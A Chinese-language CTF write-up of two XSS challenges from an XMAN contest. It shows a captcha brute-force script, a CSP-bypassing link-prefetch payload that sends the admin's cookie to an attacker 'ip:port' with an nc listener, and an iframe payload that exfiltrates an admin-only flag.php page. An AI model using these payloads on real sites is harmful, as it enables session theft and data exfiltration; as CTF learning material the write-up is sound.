0x01 前言
讲道理,之前每次遇到xss的题就很发憷,因为不会呀,这次XMAN个人排位赛的两道xss赛题让我对于xss有了更深入的认识,这里整理一下writeup
0x02 xss1
首先,进入页面
是一个留言框,下面有一个md5后四位的校验码
然后写了一个python脚本用来生成校验码
import hashlib
for i in range(1000000):
if hashlib.md5(str(i)).hexdigest()[:4]=='cdc1':
print i
break
留言板嘛,很容易想到是xss,先用
<script>alert(1)</script>
试了一下,果然能弹窗,xss无疑了,并且发现这里的我写的语句只是单纯的被输出到了页面里,这样应该是一个非常简单的xss利用了。
然后fuzz了一下,发现这里没有过滤任何参数,所以很适合我这种新手呀。。。。
通过抓包看到的resoponse包的header,我们能够发现他的csp策略,定义了所以来源都要跟与本页面同源,因此可以用link预加载标签进行绕过。关于CSP的学习和绕过可以参考这篇文章http://www.jianshu.com/p/f1de775bc43e
然后写利用的js代码
<script>
var i=document.createElement("link");
i.setAttribute("rel","prefetch");
i.setAttribute("href","https://ip:port/?"+document.cookie);
document.head.appendChild(i);
</script>
在我们的服务器上,要
nc -l port
在href的属性里填写自己的服务器的ip和端口,这段代码的意思就是当对方admin查看我们的留言之后,就会自动的访问我们的服务器,服务器通过监听端口,来得到admin的cookie值。这里在admin的cookie中得到了flag
0x03xss2
打开页面,还是熟悉的页面,还是熟悉的套路。不过这次更难一些。
这里还是脚本跑验证码,然后发送留言,burp抓包发现这次没有这个CSP策略,fuzz之后发现他把单引号替换成了_下划线,所以可以利用双引号进行绕过。用上个xss的脚本打过去发现这次没有返回cookie。。想到了今年国赛有道xss的题也是没有cookie返回的题,又想到题目描述中说flag在flag.php里面,然后发现只有管理员才能访问flag.php,那么就很明显了,让admin用iframe打开一个flag.php的子窗口,然后子窗口中链接到我的服务器,这样就能将消息带给我了,我就能收到flag了。
<iframe id="test" src="http://202.112.51.217:43424/flag.php(这里是flag所在)" onload="test()"></iframe>
<script>
function test(){
parent.window["location"].href="http://ip:port/?"+escape(document.getElementById("test").contentWindow.document.documentElement.outerHTML )
}
</script>
然后得到flag